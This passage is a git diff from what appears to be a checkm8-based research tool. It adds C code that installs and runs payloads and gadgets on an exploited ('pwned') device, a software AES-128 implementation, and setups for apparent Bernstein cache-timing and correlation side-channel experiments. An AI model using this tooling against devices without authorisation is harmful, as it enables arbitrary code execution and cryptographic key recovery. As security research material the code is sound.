struct dev_cmd_resp *write_gadget(struct pwned_device *dev, DEV_PTR_T addr, unsigned char *data, int len);
|
||||
struct dev_cmd_resp *execute_gadget(struct pwned_device *dev, DEV_PTR_T addr, int response_len, int nargs, ...);
|
||||
|
||||
#endif //CHECKM8_TOOL_PAYLOAD_H
|
||||
@@ -15,10 +15,6 @@ struct libusb_device_bundle
|
||||
};
|
||||
#endif
|
||||
|
||||
int open_device_session(struct pwned_device *dev);
|
||||
int close_device_session(struct pwned_device *dev);
|
||||
int is_device_session_open(struct pwned_device *dev);
|
||||
|
||||
int partial_ctrl_transfer(struct pwned_device *dev,
|
||||
unsigned char bmRequestType, unsigned char bRequest,
|
||||
unsigned short wValue, unsigned short wIndex,
|
||||
21
c8_remote/include/util/experiments.h
Normal file
21
c8_remote/include/util/experiments.h
Normal file
@@ -0,0 +1,21 @@
|
||||
#ifndef CHECKM8_TOOL_EXPERIMENTS_H
|
||||
#define CHECKM8_TOOL_EXPERIMENTS_H
|
||||
|
||||
#include "tool/payload.h"
|
||||
#include "dev/types.h"
|
||||
|
||||
/* AES Software */
|
||||
DEV_PTR_T setup_bern_exp(struct pwned_device *dev);
|
||||
struct bern_data *get_bern_exp_data(struct pwned_device *dev, DEV_PTR_T async_buf);
|
||||
|
||||
DEV_PTR_T setup_corr_exp(struct pwned_device *dev, unsigned char *init_key);
|
||||
struct corr_data *get_corr_exp_data(struct pwned_device *dev, DEV_PTR_T async_buf);
|
||||
|
||||
/* System */
|
||||
void usb_task_exit(struct pwned_device *dev);
|
||||
|
||||
/* Power */
|
||||
void floppysleep(struct pwned_device *dev);
|
||||
void floppysleep_async(struct pwned_device *dev);
|
||||
|
||||
#endif //CHECKM8_TOOL_EXPERIMENTS_H
|
||||
14
c8_remote/include/util/host_crypto.h
Normal file
14
c8_remote/include/util/host_crypto.h
Normal file
@@ -0,0 +1,14 @@
|
||||
#ifndef CHECKM8_TOOL_HOST_CRYPTO_H
|
||||
#define CHECKM8_TOOL_HOST_CRYPTO_H
|
||||
|
||||
#include "dev/types.h"
|
||||
|
||||
void expand_key(unsigned char key[16], unsigned char key_sched[176],
|
||||
int n, struct aes_constants *c);
|
||||
|
||||
void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len,
|
||||
unsigned char key_sched[176], struct aes_constants *c);
|
||||
|
||||
struct aes_constants *get_constants();
|
||||
|
||||
#endif //CHECKM8_TOOL_HOST_CRYPTO_H
|
||||
@@ -1,33 +1,39 @@
|
||||
project(checkm8_libpayload)
|
||||
|
||||
set(PL_NAMES
|
||||
aes
|
||||
aes_busy
|
||||
aes_sw
|
||||
sync
|
||||
sysreg
|
||||
task_sleep_test)
|
||||
crypto:aes_busy
|
||||
crypto:aes_sw_bern
|
||||
crypto:aes_sw_corr
|
||||
|
||||
system:cachelib
|
||||
system:exit_usb_task
|
||||
system:init_sys
|
||||
system:sync
|
||||
|
||||
power:floppysleep
|
||||
)
|
||||
|
||||
foreach(NAME ${PL_NAMES})
|
||||
list(APPEND PL_TARGETS "payload_${NAME}")
|
||||
list(APPEND PL_SRC_BIN "${CMAKE_CURRENT_LIST_DIR}/pl/src/${NAME}.c")
|
||||
string(REGEX REPLACE "^[^:]*\\:(.*)$" "\\1" NAME_ONLY ${NAME})
|
||||
list(APPEND PL_TARGETS "payload_${NAME_ONLY}")
|
||||
endforeach(NAME)
|
||||
|
||||
message("${PL_TARGETS}")
|
||||
|
||||
foreach(TARGET ${PL_TARGETS})
|
||||
list(APPEND PL_SRC_LIB "${CMAKE_CURRENT_BINARY_DIR}/lib/${TARGET}.c")
|
||||
list(APPEND PL_BIN "${CMAKE_CURRENT_BINARY_DIR}/pl/bin/${TARGET}.bin")
|
||||
list(APPEND PL_SRC_LIB "${CMAKE_CURRENT_BINARY_DIR}/lib_cfiles/${TARGET}.c")
|
||||
list(APPEND PL_BIN "${CMAKE_CURRENT_BINARY_DIR}/payload/bin/${TARGET}.bin")
|
||||
endforeach(TARGET)
|
||||
|
||||
add_subdirectory(pl)
|
||||
set(CMAKE_C_FLAGS "-g -Wall")
|
||||
add_subdirectory(${CMAKE_CURRENT_LIST_DIR}/payload)
|
||||
|
||||
file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/lib)
|
||||
file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/lib_cfiles)
|
||||
add_custom_target(payload_sources
|
||||
BYPRODUCTS ${PL_SRC_LIB}
|
||||
DEPENDS ${PL_TARGETS}
|
||||
COMMENT "Refreshing payload library"
|
||||
COMMAND python3 ${CMAKE_CURRENT_LIST_DIR}/scripts/librarize.py
|
||||
${CMAKE_CURRENT_BINARY_DIR}/pl/bin
|
||||
${CMAKE_CURRENT_BINARY_DIR}/lib)
|
||||
${CMAKE_CURRENT_BINARY_DIR}/payload/bin
|
||||
${CMAKE_CURRENT_BINARY_DIR}/lib_cfiles)
|
||||
|
||||
add_library(payload ${PL_SRC_LIB})
|
||||
add_dependencies(payload payload_sources)
|
||||
@@ -35,5 +41,10 @@ add_dependencies(payload payload_sources)
|
||||
add_custom_command(TARGET payload POST_BUILD
|
||||
BYPRODUCTS ${CMAKE_SOURCE_DIR}/c8_remote/include/libpayload.h
|
||||
COMMAND python3 ${CMAKE_CURRENT_LIST_DIR}/scripts/headerize.py
|
||||
${CMAKE_CURRENT_BINARY_DIR}/lib
|
||||
${CMAKE_SOURCE_DIR}/c8_remote/include)
|
||||
${CMAKE_CURRENT_BINARY_DIR}/lib_cfiles
|
||||
${CMAKE_SOURCE_DIR}/c8_remote/include/tool)
|
||||
|
||||
add_library(experiments experiments/crypto.c
|
||||
experiments/system.c
|
||||
experiments/power.c)
|
||||
add_library(host_crypto crypto/aes_sw_impl.c crypto/aes_sw_host.c)
|
||||
78
c8_remote/lib/crypto/aes_sw_host.c
Normal file
78
c8_remote/lib/crypto/aes_sw_host.c
Normal file
@@ -0,0 +1,78 @@
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "dev/types.h"
|
||||
|
||||
static const unsigned char sbox[256] =
|
||||
{
|
||||
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
|
||||
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
|
||||
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
|
||||
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
|
||||
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
|
||||
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
|
||||
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
|
||||
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
|
||||
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
|
||||
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
|
||||
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
|
||||
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
|
||||
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
|
||||
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
|
||||
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
|
||||
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
|
||||
};
|
||||
|
||||
static const unsigned char mul2_lookup[256] =
|
||||
{
|
||||
0x00, 0x02, 0x04, 0x06, 0x08, 0x0a, 0x0c, 0x0e, 0x10, 0x12, 0x14, 0x16, 0x18, 0x1a, 0x1c, 0x1e,
|
||||
0x20, 0x22, 0x24, 0x26, 0x28, 0x2a, 0x2c, 0x2e, 0x30, 0x32, 0x34, 0x36, 0x38, 0x3a, 0x3c, 0x3e,
|
||||
0x40, 0x42, 0x44, 0x46, 0x48, 0x4a, 0x4c, 0x4e, 0x50, 0x52, 0x54, 0x56, 0x58, 0x5a, 0x5c, 0x5e,
|
||||
0x60, 0x62, 0x64, 0x66, 0x68, 0x6a, 0x6c, 0x6e, 0x70, 0x72, 0x74, 0x76, 0x78, 0x7a, 0x7c, 0x7e,
|
||||
0x80, 0x82, 0x84, 0x86, 0x88, 0x8a, 0x8c, 0x8e, 0x90, 0x92, 0x94, 0x96, 0x98, 0x9a, 0x9c, 0x9e,
|
||||
0xa0, 0xa2, 0xa4, 0xa6, 0xa8, 0xaa, 0xac, 0xae, 0xb0, 0xb2, 0xb4, 0xb6, 0xb8, 0xba, 0xbc, 0xbe,
|
||||
0xc0, 0xc2, 0xc4, 0xc6, 0xc8, 0xca, 0xcc, 0xce, 0xd0, 0xd2, 0xd4, 0xd6, 0xd8, 0xda, 0xdc, 0xde,
|
||||
0xe0, 0xe2, 0xe4, 0xe6, 0xe8, 0xea, 0xec, 0xee, 0xf0, 0xf2, 0xf4, 0xf6, 0xf8, 0xfa, 0xfc, 0xfe,
|
||||
0x1b, 0x19, 0x1f, 0x1d, 0x13, 0x11, 0x17, 0x15, 0x0b, 0x09, 0x0f, 0x0d, 0x03, 0x01, 0x07, 0x05,
|
||||
0x3b, 0x39, 0x3f, 0x3d, 0x33, 0x31, 0x37, 0x35, 0x2b, 0x29, 0x2f, 0x2d, 0x23, 0x21, 0x27, 0x25,
|
||||
0x5b, 0x59, 0x5f, 0x5d, 0x53, 0x51, 0x57, 0x55, 0x4b, 0x49, 0x4f, 0x4d, 0x43, 0x41, 0x47, 0x45,
|
||||
0x7b, 0x79, 0x7f, 0x7d, 0x73, 0x71, 0x77, 0x75, 0x6b, 0x69, 0x6f, 0x6d, 0x63, 0x61, 0x67, 0x65,
|
||||
0x9b, 0x99, 0x9f, 0x9d, 0x93, 0x91, 0x97, 0x95, 0x8b, 0x89, 0x8f, 0x8d, 0x83, 0x81, 0x87, 0x85,
|
||||
0xbb, 0xb9, 0xbf, 0xbd, 0xb3, 0xb1, 0xb7, 0xb5, 0xab, 0xa9, 0xaf, 0xad, 0xa3, 0xa1, 0xa7, 0xa5,
|
||||
0xdb, 0xd9, 0xdf, 0xdd, 0xd3, 0xd1, 0xd7, 0xd5, 0xcb, 0xc9, 0xcf, 0xcd, 0xc3, 0xc1, 0xc7, 0xc5,
|
||||
0xfb, 0xf9, 0xff, 0xfd, 0xf3, 0xf1, 0xf7, 0xf5, 0xeb, 0xe9, 0xef, 0xed, 0xe3, 0xe1, 0xe7, 0xe5
|
||||
};
|
||||
|
||||
static const unsigned char mul3_lookup[256] =
|
||||
{
|
||||
0x00, 0x03, 0x06, 0x05, 0x0c, 0x0f, 0x0a, 0x09, 0x18, 0x1b, 0x1e, 0x1d, 0x14, 0x17, 0x12, 0x11,
|
||||
0x30, 0x33, 0x36, 0x35, 0x3c, 0x3f, 0x3a, 0x39, 0x28, 0x2b, 0x2e, 0x2d, 0x24, 0x27, 0x22, 0x21,
|
||||
0x60, 0x63, 0x66, 0x65, 0x6c, 0x6f, 0x6a, 0x69, 0x78, 0x7b, 0x7e, 0x7d, 0x74, 0x77, 0x72, 0x71,
|
||||
0x50, 0x53, 0x56, 0x55, 0x5c, 0x5f, 0x5a, 0x59, 0x48, 0x4b, 0x4e, 0x4d, 0x44, 0x47, 0x42, 0x41,
|
||||
0xc0, 0xc3, 0xc6, 0xc5, 0xcc, 0xcf, 0xca, 0xc9, 0xd8, 0xdb, 0xde, 0xdd, 0xd4, 0xd7, 0xd2, 0xd1,
|
||||
0xf0, 0xf3, 0xf6, 0xf5, 0xfc, 0xff, 0xfa, 0xf9, 0xe8, 0xeb, 0xee, 0xed, 0xe4, 0xe7, 0xe2, 0xe1,
|
||||
0xa0, 0xa3, 0xa6, 0xa5, 0xac, 0xaf, 0xaa, 0xa9, 0xb8, 0xbb, 0xbe, 0xbd, 0xb4, 0xb7, 0xb2, 0xb1,
|
||||
0x90, 0x93, 0x96, 0x95, 0x9c, 0x9f, 0x9a, 0x99, 0x88, 0x8b, 0x8e, 0x8d, 0x84, 0x87, 0x82, 0x81,
|
||||
0x9b, 0x98, 0x9d, 0x9e, 0x97, 0x94, 0x91, 0x92, 0x83, 0x80, 0x85, 0x86, 0x8f, 0x8c, 0x89, 0x8a,
|
||||
0xab, 0xa8, 0xad, 0xae, 0xa7, 0xa4, 0xa1, 0xa2, 0xb3, 0xb0, 0xb5, 0xb6, 0xbf, 0xbc, 0xb9, 0xba,
|
||||
0xfb, 0xf8, 0xfd, 0xfe, 0xf7, 0xf4, 0xf1, 0xf2, 0xe3, 0xe0, 0xe5, 0xe6, 0xef, 0xec, 0xe9, 0xea,
|
||||
0xcb, 0xc8, 0xcd, 0xce, 0xc7, 0xc4, 0xc1, 0xc2, 0xd3, 0xd0, 0xd5, 0xd6, 0xdf, 0xdc, 0xd9, 0xda,
|
||||
0x5b, 0x58, 0x5d, 0x5e, 0x57, 0x54, 0x51, 0x52, 0x43, 0x40, 0x45, 0x46, 0x4f, 0x4c, 0x49, 0x4a,
|
||||
0x6b, 0x68, 0x6d, 0x6e, 0x67, 0x64, 0x61, 0x62, 0x73, 0x70, 0x75, 0x76, 0x7f, 0x7c, 0x79, 0x7a,
|
||||
0x3b, 0x38, 0x3d, 0x3e, 0x37, 0x34, 0x31, 0x32, 0x23, 0x20, 0x25, 0x26, 0x2f, 0x2c, 0x29, 0x2a,
|
||||
0x0b, 0x08, 0x0d, 0x0e, 0x07, 0x04, 0x01, 0x02, 0x13, 0x10, 0x15, 0x16, 0x1f, 0x1c, 0x19, 0x1a
|
||||
};
|
||||
|
||||
static const unsigned char rc_lookup[11] = {0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c};
|
||||
|
||||
struct aes_constants *get_constants()
|
||||
{
|
||||
struct aes_constants *res = malloc(sizeof(struct aes_constants));
|
||||
|
||||
memcpy(res->sbox, sbox, sizeof(sbox));
|
||||
memcpy(res->mul2, mul2_lookup, sizeof(mul2_lookup));
|
||||
memcpy(res->mul3, mul3_lookup, sizeof(mul3_lookup));
|
||||
memcpy(res->rc_lookup, rc_lookup, sizeof(rc_lookup));
|
||||
|
||||
return res;
|
||||
}
|
||||
150
c8_remote/lib/crypto/aes_sw_impl.c
Normal file
150
c8_remote/lib/crypto/aes_sw_impl.c
Normal file
@@ -0,0 +1,150 @@
|
||||
#include "dev/types.h"
|
||||
|
||||
#ifdef DEV_CRYPTO
|
||||
#include "dev_util.h"
|
||||
|
||||
PAYLOAD_SECTION
|
||||
#endif
|
||||
void sub_bytes(unsigned char block[16], struct aes_constants *c)
|
||||
{
|
||||
int i;
|
||||
unsigned char val;
|
||||
|
||||
for(i = 0; i < 16; i++)
|
||||
{
|
||||
val = block[i];
|
||||
block[i] = c->sbox[val >> 4u][val & 0xfu];
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef DEV_CRYPTO
|
||||
PAYLOAD_SECTION
|
||||
#endif
|
||||
void shift_rows(unsigned char block[16])
|
||||
{
|
||||
unsigned char temp1, temp2;
|
||||
|
||||
temp1 = block[0x1];
|
||||
block[0x1] = block[0x5];
|
||||
block[0x5] = block[0x9];
|
||||
block[0x9] = block[0xd];
|
||||
block[0xd] = temp1;
|
||||
|
||||
temp1 = block[0x2];
|
||||
temp2 = block[0xe];
|
||||
block[0x2] = block[0xa];
|
||||
block[0xe] = block[0x6];
|
||||
block[0xa] = temp1;
|
||||
block[0x6] = temp2;
|
||||
|
||||
temp1 = block[0x3];
|
||||
block[0x3] = block[0xf];
|
||||
block[0xf] = block[0xb];
|
||||
block[0xb] = block[0x7];
|
||||
block[0x7] = temp1;
|
||||
}
|
||||
|
||||
#ifdef DEV_CRYPTO
|
||||
PAYLOAD_SECTION
|
||||
#endif
|
||||
void mix_cols(unsigned char block[16], struct aes_constants *c)
|
||||
{
|
||||
unsigned char r0, r1, r2, r3;
|
||||
int i;
|
||||
|
||||
for(i = 0; i < 4; i++)
|
||||
{
|
||||
r0 = block[4 * i];
|
||||
r1 = block[4 * i + 1];
|
||||
r2 = block[4 * i + 2];
|
||||
r3 = block[4 * i + 3];
|
||||
|
||||
// no reason for the "+ 0" here but it makes the code look more lined up :)
|
||||
block[4 * i + 0] = c->mul2[r0] ^ c->mul3[r1] ^ r2 ^ r3;
|
||||
block[4 * i + 1] = r0 ^ c->mul2[r1] ^ c->mul3[r2] ^ r3;
|
||||
block[4 * i + 2] = r0 ^ r1 ^ c->mul2[r2] ^ c->mul3[r3];
|
||||
block[4 * i + 3] = c->mul3[r0] ^ r1 ^ r2 ^ c->mul2[r3];
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef DEV_CRYPTO
|
||||
PAYLOAD_SECTION
|
||||
#endif
|
||||
void add_key(unsigned char block[16], unsigned char key[16])
|
||||
{
|
||||
int i;
|
||||
for(i = 0; i < 16; i++)
|
||||
{
|
||||
block[i] = block[i] ^ key[i];
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef DEV_CRYPTO
|
||||
PAYLOAD_SECTION
|
||||
#endif
|
||||
void expand_key(unsigned char key[16], unsigned char key_sched[176], int n,
|
||||
struct aes_constants *c)
|
||||
{
|
||||
int i, j, prev_key_base, key_base = 0;
|
||||
unsigned char val;
|
||||
for(i = 0; i < 16; i++)
|
||||
{
|
||||
key_sched[i] = key[i];
|
||||
}
|
||||
|
||||
for(i = 1; i < n; i++)
|
||||
{
|
||||
prev_key_base = key_base;
|
||||
key_base = 16 * i;
|
||||
|
||||
for(j = 0; j < 3; j++)
|
||||
{
|
||||
val = key_sched[prev_key_base + 13 + j];
|
||||
key_sched[key_base + j] = c->sbox[val >> 4u][val & 0xfu];
|
||||
}
|
||||
|
||||
val = key_sched[prev_key_base + 12];
|
||||
key_sched[key_base + 3] = c->sbox[val >> 4u][val & 0xfu];
|
||||
|
||||
key_sched[key_base] ^= c->rc_lookup[i - 1];
|
||||
|
||||
for(j = 0; j < 4; j++)
|
||||
{
|
||||
key_sched[key_base + j] = key_sched[key_base + j] ^ key_sched[prev_key_base + j];
|
||||
}
|
||||
|
||||
for(j = 4; j < 16; j++)
|
||||
{
|
||||
key_sched[key_base + j] = key_sched[key_base + j - 4] ^ key_sched[prev_key_base + j];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef DEV_CRYPTO
|
||||
PAYLOAD_SECTION
|
||||
#endif
|
||||
void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len,
|
||||
unsigned char key_sched[176], struct aes_constants *c)
|
||||
{
|
||||
unsigned int num_blocks = msg_len / 16;
|
||||
unsigned char *block;
|
||||
|
||||
unsigned int i, j;
|
||||
for(i = 0; i < num_blocks; i++)
|
||||
{
|
||||
block = &msg[16 * i];
|
||||
add_key(block, key_sched);
|
||||
|
||||
for(j = 0; j < 9; j++)
|
||||
{
|
||||
sub_bytes(block, c);
|
||||
shift_rows(block);
|
||||
mix_cols(block, c);
|
||||
add_key(block, &key_sched[16 * (j + 1)]);
|
||||
}
|
||||
|
||||
sub_bytes(block, c);
|
||||
shift_rows(block);
|
||||
add_key(block, &key_sched[16 * (j + 1)]);
|
||||
}
|
||||
}
|
||||
277
c8_remote/lib/experiments/crypto.c
Normal file
277
c8_remote/lib/experiments/crypto.c
Normal file
@@ -0,0 +1,277 @@
|
||||
#include "util/experiments.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#include "dev/addr.h"
|
||||
#include "tool/command.h"
|
||||
#include "util/host_crypto.h"
|
||||
|
||||
DEV_PTR_T install_aes_data(struct pwned_device *dev)
|
||||
{
|
||||
int close;
|
||||
DEV_PTR_T res;
|
||||
struct aes_constants *constants = get_constants();
|
||||
|
||||
if(is_device_session_open(dev)) close = 0;
|
||||
else
|
||||
{
|
||||
close = 1;
|
||||
if(IS_CHECKM8_FAIL(open_device_session(dev)))
|
||||
{
|
||||
printf("failed to open device session\n");
|
||||
free(constants);
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
}
|
||||
|
||||
res = install_data(dev, SRAM, (unsigned char *) constants, sizeof(struct aes_constants));
|
||||
if(res == DEV_PTR_NULL)
|
||||
{
|
||||
printf("failed to write AES constants\n");
|
||||
free(constants);
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
if(close)
|
||||
{
|
||||
if(IS_CHECKM8_FAIL(close_device_session(dev)))
|
||||
{
|
||||
printf("failed to close device session\n");
|
||||
free(constants);
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
}
|
||||
|
||||
free(constants);
|
||||
return res;
|
||||
}
|
||||
|
||||
DEV_PTR_T setup_bern_exp(struct pwned_device *dev)
|
||||
{
|
||||
DEV_PTR_T addr_data, addr_key, addr_async_buf, addr_constants;
|
||||
struct dev_cmd_resp *resp;
|
||||
|
||||
unsigned char data[16];
|
||||
unsigned char key[16];
|
||||
memset(key, 0x1, 16);
|
||||
|
||||
if(IS_CHECKM8_FAIL(open_device_session(dev)))
|
||||
{
|
||||
printf("failed to open device session\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
addr_constants = install_aes_data(dev);
|
||||
if(addr_constants == DEV_PTR_NULL)
|
||||
{
|
||||
printf("failed to install aes constants\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
addr_data = install_data(dev, SRAM, data, 16);
|
||||
if(addr_data == DEV_PTR_NULL)
|
||||
{
|
||||
printf("failed to install aes data\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
addr_key = install_data(dev, SRAM, key, 16);
|
||||
if(addr_key == DEV_PTR_NULL)
|
||||
{
|
||||
printf("failed to install aes key\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
|
||||
{
|
||||
printf("failed to install sync payload\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_AES_SW_BERN, SRAM)))
|
||||
{
|
||||
printf("failed to install aes payload\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("failed to execute sync payload\n");
|
||||
free_dev_cmd_resp(resp);
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
free_dev_cmd_resp(resp);
|
||||
|
||||
addr_async_buf = setup_payload_async(dev, PAYLOAD_AES_SW_BERN,
|
||||
sizeof(struct bern_data),
|
||||
4, addr_data, 16, addr_key, addr_constants);
|
||||
run_payload_async(dev, PAYLOAD_AES_SW_BERN);
|
||||
|
||||
if(IS_CHECKM8_FAIL(close_device_session(dev)))
|
||||
{
|
||||
printf("failed to close device session\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
return addr_async_buf;
|
||||
}
|
||||
|
||||
struct bern_data *get_bern_exp_data(struct pwned_device *dev, DEV_PTR_T async_buf)
|
||||
{
|
||||
struct dev_cmd_resp *resp;
|
||||
struct bern_data *res;
|
||||
|
||||
if(IS_CHECKM8_FAIL(open_device_session(dev)))
|
||||
{
|
||||
printf("failed to open device session\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
resp = execute_gadget(dev, ADDR_EVENT_NOTIFY, 0, 1,
|
||||
async_buf + offsetof(struct bern_data, ev_data));
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("failed to signal for data\n");
|
||||
free_dev_cmd_resp(resp);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
resp = read_gadget(dev, async_buf, sizeof(struct bern_data));
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("failed to get data from device\n");
|
||||
free_dev_cmd_resp(resp);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
res = (struct bern_data *) resp->data;
|
||||
free(resp);
|
||||
|
||||
resp = execute_gadget(dev, ADDR_EVENT_NOTIFY, 0, 1,
|
||||
async_buf + offsetof(struct bern_data, ev_done));
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("failed to signal data end\n");
|
||||
free(res);
|
||||
free_dev_cmd_resp(resp);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
if(IS_CHECKM8_FAIL(close_device_session(dev)))
|
||||
{
|
||||
printf("failed to close device session\n");
|
||||
free(res);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
DEV_PTR_T setup_corr_exp(struct pwned_device *dev, unsigned char *init_key)
|
||||
{
|
||||
DEV_PTR_T addr_key, addr_async_buf, addr_constants;
|
||||
struct dev_cmd_resp *resp;
|
||||
|
||||
if(IS_CHECKM8_FAIL(open_device_session(dev)))
|
||||
{
|
||||
printf("failed to open device session\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
addr_constants = install_aes_data(dev);
|
||||
if(addr_constants == DEV_PTR_NULL)
|
||||
{
|
||||
printf("failed to install aes constants\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
addr_key = install_data(dev, SRAM, init_key, 16);
|
||||
if(addr_key == DEV_PTR_NULL)
|
||||
{
|
||||
printf("failed to install aes key\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
|
||||
{
|
||||
printf("failed to install sync payload\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_AES_SW_CORR, SRAM)))
|
||||
{
|
||||
printf("failed to install aes payload\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("failed to execute sync payload\n");
|
||||
free_dev_cmd_resp(resp);
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
free_dev_cmd_resp(resp);
|
||||
|
||||
addr_async_buf = setup_payload_async(dev, PAYLOAD_AES_SW_CORR,
|
||||
sizeof(struct corr_data),
|
||||
2, addr_key, addr_constants);
|
||||
run_payload_async(dev, PAYLOAD_AES_SW_CORR);
|
||||
|
||||
if(IS_CHECKM8_FAIL(close_device_session(dev)))
|
||||
{
|
||||
printf("failed to close device session\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
return addr_async_buf;
|
||||
}
|
||||
|
||||
struct corr_data *get_corr_exp_data(struct pwned_device *dev, DEV_PTR_T async_buf)
|
||||
{
|
||||
struct dev_cmd_resp *resp;
|
||||
struct corr_data *res;
|
||||
|
||||
if(IS_CHECKM8_FAIL(open_device_session(dev)))
|
||||
{
|
||||
printf("failed to open device session\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
resp = read_gadget(dev, async_buf, sizeof(struct corr_data));
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("failed to get data from device\n");
|
||||
free_dev_cmd_resp(resp);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
res = (struct corr_data *) resp->data;
|
||||
free(resp);
|
||||
|
||||
resp = execute_gadget(dev, ADDR_EVENT_NOTIFY, 0, 1,
|
||||
async_buf + offsetof(struct corr_data, ev_cont));
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("failed to signal data continue\n");
|
||||
free(res);
|
||||
free_dev_cmd_resp(resp);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
if(IS_CHECKM8_FAIL(close_device_session(dev)))
|
||||
{
|
||||
printf("failed to close device session\n");
|
||||
free(res);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return res;
|
||||
